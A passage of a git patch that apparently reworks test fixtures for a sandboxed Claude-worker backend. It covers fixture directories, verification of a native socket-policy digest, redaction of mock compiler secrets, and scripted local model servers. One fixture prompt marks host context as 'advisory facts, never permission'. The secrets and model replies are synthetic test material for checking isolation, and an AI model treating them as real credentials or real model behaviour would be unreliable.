["hosted","local","self-hosted"] as const) test(`cleared-env R } }finally{rmSync(scratch,{recursive:true,force:true});} }); + +test("RTK plan carries the outer compiled policy read-only without compiler mounts", async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-rtk-policy-")); + try { + const file=join(scratch,"plan.json"),script=join(scratch,"parent.ts"); + writeFileSync(script,`import {writeFileSync,readFileSync} from "node:fs"; + import {createHash} from "node:crypto"; + const {enterMeasurementRtkView}=await import(${JSON.stringify(join(ROOT,"scripts/measurement-rtk-fixture.ts"))}); + Bun.spawnSync=(()=>({exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)})); + Bun.spawn=((argv)=>{const target=argv.indexOf("/usr/local/bin/brain-native-connect"),source=argv[target-1]; + writeFileSync(${JSON.stringify(file)},JSON.stringify({argv,source,digest:createHash("sha256").update(readFileSync(source)).digest("hex")}));return {exited:Promise.resolve(0)};}); + await enterMeasurementRtkView();`); + const child=Bun.spawn([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); + const [code,errors]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(code,errors).toBe(0); + const {argv,source,digest}=JSON.parse(readFileSync(file,"utf8")); + expect(source).toMatch(/odysseus-native-policy-[^/]+\/native-connect$/); + const at=argv.indexOf("/usr/local/bin/brain-native-connect");expect(argv.slice(at-2,at+1)).toEqual(["--ro-bind",source,"/usr/local/bin/brain-native-connect"]); + expect(argv).toContain("--native-socket-policy-sha256="+digest); + expect(argv).not.toContain("/usr/include");expect(argv).not.toContain("/usr/libexec"); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); diff --git a/tests/native-policy-artifact.test.ts b/tests/native-policy-artifact.test.ts new file mode 100644 index 0000000000..b55bd97796 --- /dev/null +++ b/tests/native-policy-artifact.test.ts @@ -0,0 +1,43 @@ +/** Synthetic compiler outcomes only: no installed native runtime executes. */ +import { expect, test } from "bun:test"; +import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); +for(const kind of ["stderr","throw","artifact"] as const)test(`native policy ${kind} failure is bounded scrubbed and latched`,async()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-policy-refusal-")); + try{ + const script=join(root,"probe.ts"),secret="odysseus-compiler-private-secret"; + writeFileSync(script,`const original=Bun.spawnSync; + Bun.spawnSync=((argv,options)=>argv[0]==="cc"?${kind==="throw"?'(()=>{throw Error("password='+secret+' /tmp/odysseus-private/cc1");})()':'({exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from("cc1 missing\\npassword='+secret+'\\n"+"compiler note voyage\\n".repeat(1000)+"late")})'}:Reflect.apply(original,Bun,[argv,options])); + ${kind==="artifact"?'process.argv.push("--native-rtk-view","--native-socket-policy-sha256="+"a".repeat(64));':''} + const {compileSocketPolicy,nativeIsolationFailed}=await import(${JSON.stringify(guard+"?compiler-fixture")}); + try{compileSocketPolicy();}catch{}process.exit(nativeIsolationFailed()?1:0);`); + const child=Bun.spawn([process.execPath,script],{env:{...process.env,TEST_COMPILER_SECRET:secret},stdout:"pipe",stderr:"pipe"}); + const [code,text]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(code).not.toBe(0); + const receipt=JSON.parse(text.split("\n").find(line=>line.startsWith('{"kind":"native-offline-boundary"'))!); + expect(receipt.nativeLaunched).toBe(false);expect(text).not.toContain(secret);expect(text).not.toContain("/tmp/odysseus-private"); + if(kind==="artifact")expect(receipt.reason).toBe("native socket policy artifact is unavailable or changed"); + else{expect(receipt.compilerStderr.length).toBeLessThanOrEqual(4096);expect(receipt.compilerStderr).toContain(kind==="throw"?"[redacted":"cc1 missing");} + }finally{rmSync(root,{recursive:true,force:true});} +}); + +for(const mode of ["valid","changed","writable"] as const)test(`read-only RTK policy artifact ${mode} is verified without compiling`,async()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-policy-artifact-")); + try{ + const file=join(root,"policy"),script=join(root,"probe.ts");writeFileSync(file,"Odysseus synthetic policy bytes"); + writeFileSync(script,`import * as fs from "node:fs";import {createHash} from "node:crypto";import {mock} from "bun:test"; + const originalFs={...fs};const file=${JSON.stringify(file)},fixed="/usr/local/bin/brain-native-connect"; + fs.chmodSync(file,${mode==="writable"?'0o755':'0o555'}); + const digest=createHash("sha256").update(fs.readFileSync(file)).digest("hex"); + mock.module("node:fs",()=>({...originalFs,statSync:(path,...args)=>originalFs.statSync(path===fixed?file:path,...args),openSync:(path,...args)=>originalFs.openSync(path===fixed?file:path,...args),lstatSync:(path,...args)=>originalFs.lstatSync(path===fixed?file:path,...args),readFileSync:(path,...args)=>originalFs.readFileSync(path===fixed?file:path,...args)})); + process.argv.push("--native-rtk-view","--native-socket-policy-sha256="+${mode==="changed"?'"a".repeat(64)':'digest'}); + const original=Bun.spawnSync;Bun.spawnSync=((argv,options)=>{if(argv[0]==="cc")throw Error("INNER_COMPILER_REACHED");return Reflect.apply(original,Bun,[argv,options]);}); + const {compileSocketPolicy}=await import(${JSON.stringify(guard+"?artifact-fixture")}); + console.log(compileSocketPolicy());`); + const child=Bun.spawn([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,err).toBe(mode==="valid"?0:1);expect(err).not.toContain("INNER_COMPILER_REACHED"); + if(mode==="valid")expect(out.trim()).toBe("/usr/local/bin/brain-native-connect");else expect(err).toContain("native socket policy artifact is unavailable or changed"); + }finally{rmSync(root,{recursive:true,force:true});} +}); From 1f0c1fd74edd10394cc19c0a0e4c21b0dc6f29ba Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 08:02:34 +0000 Subject: [PATCH 056/187] test: qualify keeper inputs and fail native refusals promptly --- .../tests/ask-tool-request-id.test.ts | 6 +- .../tests/fixtures/autonomous-prompt-probe.ts | 2 +- .../tests/fixtures/host-relay-probe.ts | 6 +- .../fixtures/interactive-git-prompt-probe.ts | 6 +- .../fixtures/ordinary-host-relay-probe.ts | 6 +- .../fixtures/provider-history-apify-probe.ts | 2 +- .../provider-history-attachment-probe.ts | 2 +- .../tests/fixtures/provider-history-probe.ts | 6 +- .../tests/fixtures/sdk-host-relay-probe.ts | 6 +- .../tests/fixtures/server-host-relay-probe.ts | 5 +- .../tests/fixtures/session-prompt-probe.ts | 2 +- .../tests/fixtures/shell-startup-probe.ts | 2 +- .../tests/fixtures/stable-roster-probe.ts | 2 +- .../tests/fixtures/transcript-prefix-probe.ts | 4 +- .../tests/follow-up-delivery.test.ts | 10 +- .../tests/host-oauth.test.ts | 8 +- .../tests/native-hosted-runtime.test.ts | 6 +- .../tests/native-restart-versions.test.ts | 6 +- .../tests/native-stale-write.test.ts | 6 +- .../tests/subscription-billing.test.ts | 10 +- .../native-worker-startup-diagnostics.ts | 2 +- .../tests/fixtures/ordinary-identity-root.ts | 7 + .../tests/fixtures/ordinary-identity-ws.ts | 2 + .../helpers/worker-startup-view-fixture.ts | 10 +- .../ui-server/tests/bundled-claude.test.ts | 12 +- .../tests/safety-native-delivery.test.ts | 6 +- .../tests/safety-result-retention.test.ts | 8 +- scripts/test-native-guard.ts | 130 ++++++++++++++++-- scripts/test-network-guard.ts | 4 +- tests/fixtures/autonomous-app-probe.ts | 2 +- .../fixtures/autonomous-containment-probe.ts | 2 +- tests/fixtures/autonomous-dispatch-probe.ts | 2 +- tests/fixtures/autonomous-runtime-probe.ts | 2 +- tests/fixtures/claude-worker-probe.ts | 2 +- tests/fixtures/policy-boundary-probe.ts | 2 +- tests/native-offline-boundary.test.ts | 50 +++++++ tests/native-policy-artifact.test.ts | 22 ++- tests/native-startup-audit.test.ts | 45 ++++++ tests/native-worker-fixture-inventory.test.ts | 30 ++++ .../native-worker-startup-diagnostics.test.ts | 4 +- 40 files changed, 353 insertions(+), 94 deletions(-) create mode 100644 tests/native-startup-audit.test.ts create mode 100644 tests/native-worker-fixture-inventory.test.ts diff --git a/packages/ui-backend-claude/tests/ask-tool-request-id.test.ts b/packages/ui-backend-claude/tests/ask-tool-request-id.test.ts index 72394f7568..0cc6e374c4 100644 --- a/packages/ui-backend-claude/tests/ask-tool-request-id.test.ts +++ b/packages/ui-backend-claude/tests/ask-tool-request-id.test.ts @@ -1,3 +1,4 @@ +import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; /** * The four ask tools key their request by the model's tool_use id (#910). @@ -13,8 +14,7 @@ import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; * Keyless: the credentials are bogus and the only server is 127.0.0.1. */ import { afterAll, beforeAll, expect, test } from "bun:test"; -import { mkdtempSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; +import { rmSync } from "node:fs"; import { join } from "node:path"; import type { SDKMessage } from "@anthropic-ai/claude-agent-sdk"; @@ -166,7 +166,7 @@ test("each ask tool hands the bridge the tool_use id the model sent", async () = return { answers: { course: "Coast" } }; }, }); - const home = mkdtempSync(join(tmpdir(), "ask-request-id-")); + const home = nativeFixtureDirectory("ask-request-id-"); const toolUses: string[] = []; let resultSubtype: string | undefined; try { diff --git a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts index db1bd103dc..9826600aff 100644 --- a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts @@ -23,7 +23,7 @@ const upstream = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request ]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(upstream.url.origin); +nativeScriptedService(upstream.url.origin, { fixtureRoots: [scratch] }); try { for (let index = 0; index < 4; index++) { const brainPath = join(scratch, `ithaca-${index}`); diff --git a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts index 5037f69f8c..dd3a9552e3 100644 --- a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts @@ -1,3 +1,4 @@ +import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Actual SDK/CLI protocol qualification, inside the caller's private network namespace. */ @@ -6,12 +7,11 @@ import { startInferenceRelay, ANTHROPIC_INFERENCE_ROUTES, INFERENCE_PLACEHOLDER, import { resolveClaudeHostOAuth } from "../../src/host-oauth.js"; import { nativeModelReply } from "../helpers/native-model-reply.js"; import { spawn, type ChildProcess } from "node:child_process"; -import { existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, readlinkSync, rmSync, writeFileSync } from "node:fs"; +import { existsSync, mkdirSync, readFileSync, readdirSync, readlinkSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; -import { tmpdir } from "node:os"; import { createRequire } from "node:module"; -const root = mkdtempSync(join(tmpdir(), "odysseus-native-host-relay-")); +const root = nativeFixtureDirectory("odysseus-native-host-relay-"); const host = join(root, "host"), worker = join(root, "worker"), brain = join(worker, "brain"), directory = join(root, "lock"); for (const path of [host, worker, brain, directory]) mkdirSync(path, { mode: 0o700 }); const access = ["odysseus-host-first", "odysseus-host-changed", "odysseus-host-refreshed"]; diff --git a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts index 09f4fed490..e61f6e673d 100644 --- a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts @@ -1,6 +1,6 @@ import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; -import { createFixtureWorkerStartupView, createFixtureMaintenanceHost } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; +import { createFixtureWorkerStartupView, createFixtureMaintenanceHost, prepareFixtureWorkerSandbox } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Keyless selected-runtime assembly receipt; caller denies all external network. */ import { mkdirSync, writeFileSync } from "node:fs"; import { join } from "node:path"; @@ -24,7 +24,7 @@ const upstream = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request ]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(upstream.url.origin); +nativeScriptedService(upstream.url.origin, { fixtureRoots: [scratch] }); try { for (const billing of ["api", "subscription"] as const) { const brainPath = join(scratch, `ithaca-${billing}`); @@ -52,7 +52,7 @@ try { const maintenance = createFixtureMaintenanceHost(brainPath); const turn = createClaudeSdkTurn({ backend: { brainPath, maintenance }, - req: { workerStartupView, sessionId, prompt: `Odysseus turn ${index}`, signal: abortController.signal, + req: { workerStartupView, workerSandbox: prepareFixtureWorkerSandbox(brainPath, { home, areas: [] }), sessionId, prompt: `Odysseus turn ${index}`, signal: abortController.signal, turnBudgetMs: 10000, bridge: { emit() {}, checkpointPermission() {}, async requestPermission() { return { behavior: "deny", message: "no grant" }; } } } as never, profile: { id: "fixture", label: "Fixture", model: "claude-sonnet-4-6", billing, requiredEnvKeys: [], diff --git a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts index 8277d2079f..cfa0be08a7 100644 --- a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts @@ -1,3 +1,4 @@ +import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Actual ordinary Claude spawn/state path; copied storage fixture, not Btrfs qualification. */ @@ -9,14 +10,13 @@ import { createWorkerSpawn } from "../../src/worker-spawn.js"; import { createStateLedger } from "../../src/worker-state-budget.js"; import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import type { LaunchedWorker, WorkerSandbox } from "@schlessera/brain-ui-sdk/internal"; -import { existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, readlinkSync, rmSync, writeFileSync, linkSync } from "node:fs"; +import { existsSync, mkdirSync, readFileSync, readdirSync, readlinkSync, rmSync, writeFileSync, linkSync } from "node:fs"; import { join } from "node:path"; -import { tmpdir } from "node:os"; import { createRequire } from "node:module"; const profile = process.argv[2] === "strict" ? "strict" : "governed"; const ledger = createStateLedger(); -const root = mkdtempSync(join(tmpdir(), "odysseus-native-host-relay-")); +const root = nativeFixtureDirectory("odysseus-native-host-relay-"); const host = join(root, "host"), worker = join(root, "worker"), brain = join(worker, "brain"), directory = join(root, "lock"); for (const path of [host, worker, brain, directory]) mkdirSync(path, { mode: 0o700 }); const access = ["odysseus-host-first", "odysseus-host-changed", "odysseus-host-refreshed"]; diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts index 3dae159909..7bec9b57a3 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts @@ -56,7 +56,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: step ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin); +nativeScriptedService(server.url.origin, { fixtureRoots: [scratch] }); const fake = fakeApify(); const restore = replaceNativeStartupAcquisitionForFixture(); try { diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts index 3a99981b87..90cf8c4f20 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts @@ -44,7 +44,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: step ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin); +nativeScriptedService(server.url.origin, { fixtureRoots: [scratch] }); const restore = replaceNativeStartupAcquisitionForFixture(); try { const brain = fixtureBrain(scratch, "attachment"); diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts index 76a7c838ea..9285a1072f 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts @@ -63,7 +63,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: tool ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin); +nativeScriptedService(server.url.origin, { fixtureRoots: [scratch] }); const restore = replaceNativeStartupAcquisitionForFixture(); try { for (scenario of ["control", "repository", "facts", "posture", "promotion", "title", "reference", "renewal", "freshness", "immutable", "datatree", "compute", "safety"]) { @@ -78,7 +78,7 @@ try { if (scenario === "repository" && turnIndex) changeRepository(brain, turnIndex); const facts = scenario === "facts" ? turnIndex : 0; const controller = new AbortController(); - const sandbox = prepareFixtureWorkerSandbox(brain, { home, profile: "strict", ...(scenario === "promotion" ? {} : { areas: [] }) }); + const sandbox = prepareFixtureWorkerSandbox(brain, { home, profile: "strict", areas: [] }); const view = createFixtureWorkerStartupView(brain); const turn = createClaudeSdkTurn({ backend: { brainPath: brain, ...(scenario === "safety" ? { systemPromptAppend: turnIndex === 0 ? "Legacy safety policy: this session stays restricted." : "Reviewed safety policy: finalized individual verdicts may restore normal." } : {}) }, req: { prompt: `Odysseus checks voyage step ${turnIndex}.`, sessionId, signal: controller.signal, turnId: `odysseus-${turnIndex}`, @@ -156,7 +156,7 @@ try { // the production fingerprint of that exact SDK systemPrompt option instead // of leaving their option check vacuous behind the CLI's replayed system. const hosted = historyHost(brain, { ...budgetBackend, async startTurn(req) { - return budgetBackend.startTurn({ ...req, bridge: { ...req.bridge, activity(event) { + return budgetBackend.startTurn({ ...req, workerSandbox: prepareFixtureWorkerSandbox(brain, { home, areas: [] }), bridge: { ...req.bridge, activity(event) { if (event.kind === "prompt_prefix") capture.appends.push(event.prefix.system); req.bridge.activity?.(event); } } }); diff --git a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts index 09bed515ba..492a349e20 100644 --- a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts @@ -1,3 +1,4 @@ +import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { SDK_RELAY_TURN_COUNT, SDK_RELAY_TURN_TIMEOUT_MS, SDK_RELAY_CANCELLATION_TIMEOUT_MS } from "./sdk-host-relay-limits.js"; @@ -13,9 +14,8 @@ import { settingsRefusal, subscriptionVerdict, type CliSettingsReport } from ".. import { processStateLedger } from "../../src/worker-state-budget.js"; import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import type { LaunchedWorker, WorkerSandbox } from "@schlessera/brain-ui-sdk/internal"; -import { existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, readlinkSync, rmSync, writeFileSync, linkSync, chmodSync } from "node:fs"; +import { existsSync, mkdirSync, readFileSync, readdirSync, readlinkSync, rmSync, writeFileSync, linkSync, chmodSync } from "node:fs"; import { dirname, join } from "node:path"; -import { tmpdir } from "node:os"; import { createRequire } from "node:module"; const separateIdentity = process.argv[4] === "separate-uid"; @@ -30,7 +30,7 @@ const permissionProof = process.argv[3] === "permission"; const settingsProof = process.argv[3] === "managed" || process.argv[3] === "project"; let withheldForSettings = false; let permissionRequests = 0; -const root = mkdtempSync(join(tmpdir(), "odysseus-native-host-relay-")); +const root = nativeFixtureDirectory("odysseus-native-host-relay-"); const host = join(root, "host"), worker = join(root, "worker"), brain = join(worker, "brain"), directory = join(root, "lock"); for (const path of [host, worker, brain, directory]) mkdirSync(path, { mode: 0o700 }); if (separateIdentity) { diff --git a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts index eede7d5036..7efbaa1915 100644 --- a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts @@ -1,7 +1,8 @@ +import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real turn runner and an explicitly prepared transport; no live provider calls. */ -import { existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, readlinkSync, renameSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { existsSync, mkdirSync, readFileSync, readdirSync, readlinkSync, renameSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { expect } from "bun:test"; import { query } from "@anthropic-ai/claude-agent-sdk"; @@ -14,7 +15,7 @@ import { createNativeBrainManagerClient } from "../../../ui-sdk/src/server/nativ import { Database } from "bun:sqlite"; -const root = mkdtempSync(join(tmpdir(), "odysseus-server-inference-")); +const root = nativeFixtureDirectory("odysseus-server-inference-"); const managed = process.argv.includes("--managed"); const brainPath = managed ? "/brain-fixture/brain" : join(root, "brain"); // outside-masks: the host's Claude config sits where no host mask hides it (the caller mounts /opt). diff --git a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts index 713cc08685..b16611d7ba 100644 --- a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts @@ -30,7 +30,7 @@ const upstream = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request ]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(upstream.url.origin); +nativeScriptedService(upstream.url.origin, { fixtureRoots: [scratch] }); const brainPath = join(scratch, "ithaca"); mkdirSync(brainPath); let sessionId: string | undefined; const original = ["Odysseus first turn", "[Host context for this turn; advisory facts, never permission]\ndevice: literal user text\n[End host context]", "Odysseus unchanged follow-up", "Odysseus voice follow-up", "Odysseus typed no-grant follow-up", "Odysseus missing-handler follow-up"]; diff --git a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts index 23defa2b85..35b3d0fbf5 100644 --- a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts @@ -79,7 +79,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) if (!sent) { sent = true; return nativeModelReply({ name: "Bash", input: { command, description: "Inspect the Ithaca shell." }, id: "toolu_ithaca_shell" }); } return nativeModelReply(); } }); -nativeScriptedService(server.url.origin); +nativeScriptedService(server.url.origin, { fixtureRoots: [root] }); const ledger = createStateLedger(); const startupView = createFixtureWorkerStartupView(brain); const sandbox = prepareFixtureWorkerSandbox(brain, { home, profile, areas: [] }); diff --git a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts index e4a05e545b..743f25b0f8 100644 --- a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts @@ -57,7 +57,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) return response(selected.map((name, index) => ({ type: "tool_use", id: `toolu_raft_${captures.length}_${index}`, name: /^[A-Z]/.test(name) || name.startsWith("mcp__") ? name : `mcp__brain-ui__${name}`, input: inputs[name] ?? missingInputs[name] ?? {} }))); } }); -nativeScriptedService(server.url.origin); +nativeScriptedService(server.url.origin, { fixtureRoots: [scratch] }); function response(calls: unknown[]) { const content: any[] = calls.length ? calls : [{ type: "text", text: "Odysseus checks the mast." }]; const events: any[] = [{ type: "message_start", message: { id: "msg_raft", type: "message", role: "assistant", model: "claude-sonnet-4-6", content: [], stop_reason: null, stop_sequence: null, usage: { input_tokens: 1, output_tokens: 0 } } }]; diff --git a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts index 67fe84f269..9b594e69d7 100644 --- a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts @@ -44,12 +44,12 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) events.push({ type: "message_delta", delta: { stop_reason: index < 2 ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin); +nativeScriptedService(server.url.origin, { fixtureRoots: [scratch] }); let sessionId: string | undefined; try { for (let turnIndex = 0; turnIndex < 2; turnIndex++) { const controller = new AbortController(), view = createFixtureWorkerStartupView(brain); - const sandbox = prepareFixtureWorkerSandbox(brain, { home: process.env.HOME, profile: "strict" }); + const sandbox = prepareFixtureWorkerSandbox(brain, { home: process.env.HOME, profile: "strict", areas: [] }); const turn = createClaudeSdkTurn({ backend: { brainPath: brain }, req: { prompt: turnIndex ? "Use the chart" : "Prepare the chart", sessionId, signal: controller.signal, turnId: `odysseus-${turnIndex}`, workerStartupView: view, workerSandbox: sandbox, bridge: { emit() {}, async requestPermission() { return { behavior: "allow" }; } } }, diff --git a/packages/ui-backend-claude/tests/follow-up-delivery.test.ts b/packages/ui-backend-claude/tests/follow-up-delivery.test.ts index 7b2b9744d6..573466c31c 100644 --- a/packages/ui-backend-claude/tests/follow-up-delivery.test.ts +++ b/packages/ui-backend-claude/tests/follow-up-delivery.test.ts @@ -1,5 +1,6 @@ +import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; -import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; +import { createFixtureWorkerStartupView, prepareFixtureWorkerSandbox } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { mockWorkerHostForSdkStream } from "./helpers/worker-host.js"; /** * A message sent while a Claude turn runs reaches the model inside that turn @@ -19,8 +20,7 @@ import { mockWorkerHostForSdkStream } from "./helpers/worker-host.js"; */ import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test"; -import { mkdirSync, mkdtempSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; +import { mkdirSync, rmSync } from "node:fs"; import { join } from "node:path"; import { query, type SDKMessage, type SDKUserMessage } from "@anthropic-ai/claude-agent-sdk"; import type { @@ -171,7 +171,7 @@ afterEach(() => { }); function tempDir(prefix: string): string { - const dir = mkdtempSync(join(tmpdir(), prefix)); + const dir = nativeFixtureDirectory(prefix); scratch.push(dir); return dir; } @@ -284,7 +284,7 @@ async function runScenario(scenario: Scenario): Promise { }; const workerStartupView = createFixtureWorkerStartupView(brainPath); - const turn = backend.startTurn({ workerStartupView, prompt: "Plan the voyage home.", signal: new AbortController().signal, bridge }); + const turn = backend.startTurn({ workerStartupView, workerSandbox: prepareFixtureWorkerSandbox(brainPath, { home: process.env.HOME, areas: [] }), prompt: "Plan the voyage home.", signal: new AbortController().signal, bridge }); if (scenario.sendDuring === "tool") { await cardOpened; await sendFollowUp(); diff --git a/packages/ui-backend-claude/tests/host-oauth.test.ts b/packages/ui-backend-claude/tests/host-oauth.test.ts index fcfea846a7..a2c1764b1a 100644 --- a/packages/ui-backend-claude/tests/host-oauth.test.ts +++ b/packages/ui-backend-claude/tests/host-oauth.test.ts @@ -1,8 +1,8 @@ +import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; import { afterEach, expect, spyOn, test } from "bun:test"; import * as fs from "node:fs"; -import { chmodSync, existsSync, linkSync, mkdtempSync, readFileSync, readdirSync, rmSync, 